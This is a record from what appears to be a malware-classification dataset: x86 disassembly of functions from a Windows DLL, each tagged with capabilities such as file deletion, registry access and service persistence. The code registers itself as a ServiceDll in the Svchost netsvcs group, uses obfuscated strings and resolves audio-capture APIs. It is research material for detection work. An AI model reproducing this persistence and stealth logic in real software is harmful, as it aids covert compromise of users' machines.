joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100054f0
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10012545
mov eax, dword fs:[0]
push eax
sub esp, 0x248
mov eax, dword [0x100190cc]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x254], ecx
lea ecx, [ebp - 0x2c]
call fcn.10002770
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x250]
call fcn.10002770
mov byte [ebp - 4], 1
mov word [ebp - 0x234], 0
push 0x206
push 0
lea eax, [ebp - 0x232]
push eax
call fcn.1000a200
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x254]
call fcn.10005330
push eax
lea ecx, [ebp - 0x2c]
call fcn.100027c0
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0x254]
call fcn.10005410
push eax
lea ecx, [ebp - 0x250]
call fcn.100027c0
lea ecx, [ebp - 0x250]
call fcn.100027e0
push eax
lea ecx, [ebp - 0x2c]
call fcn.100027e0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x100055b2
jmp 0x100055e6
lea ecx, [ebp - 0x250]
call fcn.100027e0
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x100055de
push 4
push 0
lea ecx, [ebp - 0x250]
call fcn.100027e0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
xor eax, eax
jne 0x1000555e
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x250]
call fcn.100027a0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.100027a0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000a1e2
mov esp, ebp
pop ebp
ret 4
Function at 0x10005620
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10012580
mov eax, dword fs:[0]
push eax
sub esp, 0x474
mov eax, dword [0x100190cc]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x480], ecx
lea ecx, [ebp - 0x2c]
call fcn.10002770
mov dword [ebp - 4], 0
mov word [ebp - 0x234], 0
push 0x206
push 0
lea eax, [ebp - 0x232]
push eax
call fcn.1000a200
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x480]
call fcn.10005330
push eax
lea ecx, [ebp - 0x2c]
call fcn.100027c0
lea ecx, [ebp - 0x2c]
call fcn.100027e0
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x100056bd
push 4
push 0
lea ecx, [ebp - 0x2c]
call fcn.100027e0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov word [ebp - 0x444], 0
push 0x206
push 0
lea edx, [ebp - 0x442]
push edx
call fcn.1000a200
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x2c]
call fcn.100027e0
push eax
lea eax, [ebp - 0x444]
push eax
call fcn.10003fa0
add esp, 0xc
lea ecx, [ebp - 0x444]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
test eax, eax
jne 0x1000570f
jmp 0x10005813
push 0x104
lea edx, [ebp - 0x234]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x1000572a
jmp 0x10005813
lea eax, [ebp - 0x234]
push eax
lea ecx, [ebp - 0x444]
push ecx
call fcn.1000afbb
add esp, 8
test eax, eax
jg 0x10005749
jmp 0x10005813
lea ecx, [ebp - 0x47c]
call fcn.100070e0
mov byte [ebp - 4], 1
lea edx, [ebp - 0x444]
push edx
call fcn.1000a27a
add esp, 4
push eax
lea eax, [ebp - 0x444]
push eax
lea ecx, [ebp - 0x47c]
call fcn.10007200
mov dword [ebp - 0x464], 0
xor ecx, ecx
mov dword [ebp - 0x460], ecx
mov dword [ebp - 0x45c], ecx
mov dword [ebp - 0x458], ecx
mov dword [ebp - 0x454], ecx
mov dword [ebp - 0x450], ecx
mov dword [ebp - 0x44c], ecx
mov word [ebp - 0x448], cx
mov dword [ebp - 0x464], 0
mov dword [ebp - 0x460], 3
lea ecx, [ebp - 0x47c]
call fcn.100072e0
mov dword [ebp - 0x45c], eax
mov dword [ebp - 0x458], 0x10014298
mov word [ebp - 0x454], 0x215
lea edx, [ebp - 0x464]
push edx
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
mov dword [ebp - 0x238], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x47c]
call fcn.10007180
xor eax, eax
jne 0x1000567f
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.100027a0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000a1e2
mov esp, ebp
pop ebp
ret 4
Function at 0x10005840
Capabilities:
Delete directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100125b0
mov eax, dword fs:[0]
push eax
sub esp, 0x230
mov eax, dword [0x100190cc]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x23c], ecx
lea ecx, [ebp - 0x2c]
call fcn.10002770
mov dword [ebp - 4], 0
mov word [ebp - 0x234], 0
push 0x206
push 0
lea eax, [ebp - 0x232]
push eax
call fcn.1000a200
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x23c]
call fcn.10005330
push eax
lea ecx, [ebp - 0x2c]
call fcn.100027c0
push 0x104
lea edx, [ebp - 0x234]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x100058cf
jmp 0x10005906
lea eax, [ebp - 0x234]
push eax
lea ecx, [ebp - 0x2c]
call fcn.100027e0
push eax
call fcn.1000afbb
add esp, 8
test eax, eax
jg 0x100058ed
jmp 0x10005906
lea ecx, [ebp - 0x2c]
call fcn.100027e0
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dword [ebp - 0x238], eax
xor ecx, ecx
jne 0x1000589f
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.100027a0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000a1e2
mov esp, ebp
pop ebp
ret 4
Function at 0x10005ae0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc60
mov eax, dword [0x100190cc]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0xc60], ecx
call fcn.100026e0
mov dword [ebp - 0xc54], eax
cmp dword [ebp + 8], 0
je 0x10005b10
cmp dword [ebp + 0xc], 0
jne 0x10005b17
xor eax, eax
jmp 0x10005c5a
mov dword [ebp - 0xc5c], 0x208
mov word [ebp - 0xa40], 0
push 0x81e
push 0
lea eax, [ebp - 0xa3e]
push eax
call fcn.1000a200
add esp, 0xc
push 0x100142a8
push str.YHx1Z2RyYXZvfkp3QVpFVkFAb3dBWkVWQXRWXVpGQA
lea ecx, [ebp - 0xa40]
push ecx
call fcn.100038f0
add esp, 0xc
lea edx, [ebp - 0x21c]
push edx
lea eax, [ebp - 0xa40]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov dword [ebp - 0xa44], eax
cmp dword [ebp - 0xa44], 0
je 0x10005b88
xor eax, eax
jmp 0x10005c5a
lea ecx, [ebp - 0xc5c]
push ecx
lea edx, [ebp - 0x210]
push edx
lea eax, [ebp - 0x214]
push eax
push 0
push str.AppPath
mov ecx, dword [ebp - 0x21c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0xa44], eax
mov edx, dword [ebp - 0x21c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0xa44], 0
je 0x10005bd4
xor eax, eax
jmp 0x10005c5a
mov word [ebp - 0xc50], 0
push 0x206
push 0
lea eax, [ebp - 0xc4e]
push eax
call fcn.1000a200
add esp, 0xc
push 3
push str.WVc1V01Ga3lXbTVNYlZKb1pFRTlQUT09
lea ecx, [ebp - 0xc50]
push ecx
call fcn.10003720
add esp, 0xc
lea edx, [ebp - 0xc50]
push edx
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
test eax, eax
jne 0x10005c25
xor eax, eax
jmp 0x10005c5a
push 0
lea ecx, [ebp - 0x210]
push ecx
call fcn.1000a383
add esp, 8
test eax, eax
je 0x10005c3e
xor eax, eax
jmp 0x10005c5a
lea edx, [ebp - 0x210]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.1000a290
add esp, 0xc
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000a1e2
mov esp, ebp
pop ebp
ret 8

Function at 0x10007530
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x100190cc]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x214], ecx
mov word [ebp - 0x210], 0
push 0x206
push 0
lea eax, [ebp - 0x20e]
push eax
call fcn.1000a200
add esp, 0xc
mov byte [ebp - 1], 0
lea ecx, [ebp - 0x210]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x10007584
jmp 0x100075cf
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
test eax, eax
jne 0x1000759b
jmp 0x100075cf
push 0x100142ac
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAddExtensionW]
test eax, eax
jne 0x100075b3
jmp 0x100075cf
push 0x104
lea edx, [ebp - 0x210]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.10003fa0
add esp, 0xc
xor ecx, ecx
jne 0x1000756c
mov al, byte [ebp - 1]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1000a1e2
mov esp, ebp
pop ebp
ret 8
Function at 0x100085a0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100127fb
mov eax, dword fs:[0]
push eax
sub esp, 0x838
mov eax, dword [0x100190cc]
xor eax, ebp
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x828], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x818], 0
mov byte [ebp - 0x814], 0
push 0x7ff
push 0
lea eax, [ebp - 0x813]
push eax
call fcn.1000a200
add esp, 0xc
mov dword [ebp - 0x81c], 0x800
mov dword [ebp - 0x820], 0
mov dword [ebp - 0x824], 0
cmp dword [ebp + 8], 0
jne 0x1000862c
jmp 0x1000877f
mov dword [ebp - 0x844], str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
lea ecx, [ebp - 0x10]
push ecx
push 0xf003f
push 0
mov edx, dword [ebp - 0x844]
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x828], eax
cmp dword [ebp - 0x828], 0
je 0x10008667
jmp 0x1000877f
lea eax, [ebp - 0x81c]
push eax
lea ecx, [ebp - 0x814]
push ecx
lea edx, [ebp - 0x818]
push edx
push 0
push 0x100146b4
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0x828], eax
cmp dword [ebp - 0x828], 0
je 0x100086a1
jmp 0x1000877f
lea ecx, [ebp - 0x840]
call fcn.100070e0
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x81c]
push ecx
lea edx, [ebp - 0x814]
push edx
lea ecx, [ebp - 0x840]
call fcn.10007200
movzx eax, al
test eax, eax
je 0x100086fe
mov ecx, dword [ebp + 8]
push ecx
lea ecx, [ebp - 0x840]
call fcn.10009320
cmp eax, 0xffffffff
je 0x100086fe
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x840]
call fcn.10007180
jmp 0x1000877f
mov edx, dword [ebp + 8]
push edx
lea ecx, [ebp - 0x840]
call fcn.10009380
lea ecx, [ebp - 0x840]
call fcn.10007410
push eax
lea ecx, [ebp - 0x840]
call fcn.100072e0
push eax
push 7
push 0
push str.netsvcs
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 0x828], eax
cmp dword [ebp - 0x828], 0
je 0x1000875b
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x840]
call fcn.10007180
jmp 0x1000877f
mov dword [ebp - 0x824], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x840]
call fcn.10007180
xor ecx, ecx
jne 0x10008621
cmp dword [ebp - 0x10], 0
je 0x1000878f
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x824]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1000a1e2
mov esp, ebp
pop ebp
ret
Function at 0x100089c0
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
mov eax, dword [0x100190cc]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
mov word [ebp - 0x808], 0
push 0x7fe
push 0
lea eax, [ebp - 0x806]
push eax
call fcn.1000a200
add esp, 0xc
mov dword [ebp - 0x810], 0
mov dword [ebp - 0x80c], 0
cmp dword [ebp + 8], 0
je 0x10008a19
cmp dword [ebp + 0xc], 0
jne 0x10008a1e
jmp 0x10008ac0
mov ecx, dword [ebp + 8]
push ecx
call fcn.10001930
add esp, 4
mov edx, dword [ebp + 8]
push edx
push str.SYSTEMCurrentControlSet_services_sParameters
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
lea edx, [ebp - 0x808]
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [ebp - 0x810], eax
mov eax, dword [ebp + 0xc]
push eax
call fcn.1000a27a
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 2
push 0
push str.ServiceDll
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 0x810], eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.100085a0
add esp, 4
test eax, eax
jne 0x10008aae
jmp 0x10008ac0
mov dword [ebp - 0x80c], 1
xor edx, edx
jne 0x10008a0d
cmp dword [ebp - 4], 0
je 0x10008ad0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x80c]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1000a1e2
mov esp, ebp
pop ebp
ret 8

Function at 0x10008de0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
push 0
push 0
push 0x10008e20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10008e13
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x10008e15
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10008f30
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
push 0
push 0
push 0x10008f70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10008f63
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x10008f65
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1000a1e2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100190cc]
jne 0x1000a1ec
repz ret
jmp fcn.1000cc9c

Function at 0x1000a2fc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
jne 0x1000a329
call fcn.1000cee8
mov dword [eax], esi
call fcn.1000ced5
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.1000adab
add esp, 0x14
push 0x16
pop eax
pop esi
ret
test dword [esp + 0xc], 0xfffffff9
jne 0x1000a305
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x1000a358
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.1000cefb
pop ecx
call fcn.1000ced5
mov eax, dword [eax]
pop esi
ret
test al, 0x10
jne 0x1000a37f
test al, 1
je 0x1000a37f
test byte [esp + 0xc], 2
je 0x1000a37f
call fcn.1000cee8
mov dword [eax], 5
call fcn.1000ced5
mov dword [eax], 0xd
jmp 0x1000a34f
xor eax, eax
pop esi
ret
Function at 0x10011142
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x10019bd0]
je 0x1001115d
inc edi
cmp edi, 0x17
jb 0x1001114e
cmp edi, 0x17
jae 0x100112dd
push ebp
push 3
call fcn.10011d21
cmp eax, 1
pop ecx
je 0x100112a9
push 3
call fcn.10011d21
test eax, eax
pop ecx
jne 0x10011191
cmp dword [0x10019f7c], 1
je 0x100112a9
cmp ebx, 0xfc
je 0x100112dc
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x1001a610
push ebp
call fcn.1000eac8
add esp, 0xc
test eax, eax
je 0x100111c7
push esi
push esi
push esi
push esi
push esi
call fcn.1000acaf
add esp, 0x14
push 0x104
mov esi, 0x1001a629
push esi
push 0
mov byte [0x1001a72d], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1001120b
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.1000eac8
add esp, 0xc
test eax, eax
je 0x1001120b
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.1000acaf
add esp, 0x14
push esi
call fcn.1000a5c0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x10011250
push esi
call fcn.1000a5c0
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x1001a924
push 0x10016100
sub ecx, eax
push ecx
push eax
call fcn.10010c46
add esp, 0x14
test eax, eax
je 0x10011250
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.1000acaf
add esp, 0x14
jmp 0x10011252
xor esi, esi
push 0x10016ff8
push ebx
push ebp
call fcn.10010b81
add esp, 0xc
test eax, eax
je 0x10011272
push esi
push esi
push esi
push esi
push esi
call fcn.1000acaf
add esp, 0x14
push dword [edi*8 + 0x10019bd4]
push ebx
push ebp
call fcn.10010b81
add esp, 0xc
test eax, eax
je 0x10011294
push esi
push esi
push esi
push esi
push esi
call fcn.1000acaf
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.10011b64
add esp, 0xc
jmp 0x100112dc
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x100112dc
cmp ebp, 0xffffffff
je 0x100112dc
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x10019bd4]
push dword [esi]
call fcn.1000a5c0
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x10011b64
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.1000c66c
xor ebx, ebx
cmp dword [0x1001aa04], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x10011c3a
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x10011d1a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x10011d1a
push eax
call fcn.1000c5fe
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x1001aa04], eax
call esi
push eax
call fcn.1000c5fe
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1001aa08], eax
call esi
push eax
call fcn.1000c5fe
mov dword [0x1001aa0c], eax
lea eax, [ebp - 0xc]
push eax
call fcn.1000f354
test eax, eax
pop ecx
pop ecx
je 0x10011c08
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.1000acaf
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x10011c3a
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.1000c5fe
cmp eax, ebx
pop ecx
mov dword [0x1001aa14], eax
je 0x10011c3a
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1000c5fe
pop ecx
mov dword [0x1001aa10], eax
mov eax, dword [0x1001aa10]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x10011cbf
cmp dword [0x1001aa14], ecx
je 0x10011cbf
push eax
call fcn.1000c675
push dword [0x1001aa14]
mov esi, eax
call fcn.1000c675
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x10011cbf
cmp edi, ebx
je 0x10011cbf
call esi
cmp eax, ebx
je 0x10011c8c
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x10011c8c
test byte [ebp - 0x18], 1
jne 0x10011cbf
lea eax, [ebp - 0x10]
push eax
call fcn.1000f38b
test eax, eax
pop ecx
je 0x10011ca7
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.1000acaf
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x10011cb6
or dword [ebp + 0x10], 0x200000
jmp 0x10011cfa
or dword [ebp + 0x10], 0x40000
jmp 0x10011cfa
mov eax, dword [0x1001aa08]
cmp eax, dword [ebp - 8]
je 0x10011cfa
push eax
call fcn.1000c675
cmp eax, ebx
pop ecx
je 0x10011cfa
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x10011cfa
mov eax, dword [0x1001aa0c]
cmp eax, dword [ebp - 8]
je 0x10011cfa
push eax
call fcn.1000c675
cmp eax, ebx
pop ecx
je 0x10011cfa
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x1001aa04]
call fcn.1000c675
cmp eax, ebx
pop ecx
je 0x10011d1a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x10011d1c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001140
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x2c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, ecx
push str.TerminateThread
push str.KERNEL32.dll
mov dword [ebx], 0x100bc800
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [esp + 0x1c], eax
mov al, 0x65
mov byte [esp + 0x34], al
mov byte [esp + 0x3a], al
lea eax, [esp + 0x30]
mov cl, 0x6c
push eax
push str.KERNEL32.dll
mov byte [esp + 0x38], 0x43
mov byte [esp + 0x39], cl
mov byte [esp + 0x3a], 0x6f
mov byte [esp + 0x3b], 0x73
mov byte [esp + 0x3d], 0x48
mov byte [esp + 0x3e], 0x61
mov byte [esp + 0x3f], 0x6e
mov byte [esp + 0x40], 0x64
mov byte [esp + 0x41], cl
mov byte [esp + 0x43], 0
call esi
push eax
call edi
push str.waveOutClose
push str.WINMM.dll
mov dword [esp + 0x34], eax
call esi
push eax
call edi
push str.waveInStop
push str.WINMM.dll
mov dword [esp + 0x30], eax
call esi
push eax
call edi
push str.waveInReset
push str.WINMM.dll
mov dword [esp + 0x18], eax
call esi
push eax
call edi
push str.waveInUnprepareHeader
push str.WINMM.dll
mov dword [esp + 0x1c], eax
call esi
push eax
call edi
push str.waveInClose
push str.WINMM.dll
mov ebp, eax
call esi
push eax
call edi
push str.waveOutReset
push str.WINMM.dll
mov dword [esp + 0x20], eax
call esi
push eax
call edi
push str.waveOutUnprepareHeader
push str.WINMM.dll
mov dword [esp + 0x2c], eax
call esi
push eax
call edi
mov edi, eax
mov al, byte [ebx + 0x44]
test al, al
mov dword [esp + 0x20], edi
je 0x10001288
mov ecx, dword [ebx + 0x18]
push ecx
call dword [esp + 0x14]
mov edx, dword [ebx + 0x18]
push edx
call dword [esp + 0x18]
lea esi, [ebx + 0x30]
mov edi, 2
mov eax, dword [esi]
mov ecx, dword [ebx + 0x18]
push 0x20
push eax
push ecx
call ebp
add esi, 4
dec edi
jne 0x10001261
mov edx, dword [ebx + 0x18]
push edx
call dword [esp + 0x1c]
mov eax, dword [ebx + 0x2c]
push 0xffffffffffffffff
push eax
call dword [esp + 0x24]
mov edi, dword [esp + 0x20]
mov al, byte [ebx + 0x45]
test al, al
je 0x100012b8
mov ecx, dword [ebx + 0x40]
push ecx
call dword [esp + 0x28]
lea esi, [ebx + 0x30]
mov ebp, 2
mov edx, dword [esi]
mov eax, dword [ebx + 0x40]
push 0x20
push edx
push eax
call edi
add esi, 4
dec ebp
jne 0x1000129f
mov ecx, dword [ebx + 0x40]
push ecx
call dword [esp + 0x2c]
lea esi, [ebx + 0x30]
mov edi, 2
mov edx, dword [esi - 0x28]
push edx
call sub.MFC42.DLL_operatordelete
mov eax, dword [esi]
push eax
call sub.MFC42.DLL_operatordelete
mov ecx, dword [esi - 0x20]
push ecx
call sub.MFC42.DLL_operatordelete
mov edx, dword [esi + 8]
push edx
call sub.MFC42.DLL_operatordelete
add esp, 0x10
add esi, 4
dec edi
jne 0x100012c0
mov eax, dword [ebx + 0x24]
mov esi, dword [esp + 0x2c]
push eax
call esi
mov ecx, dword [ebx + 0x28]
push ecx
call esi
mov edx, dword [ebx + 0x2c]
push edx
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret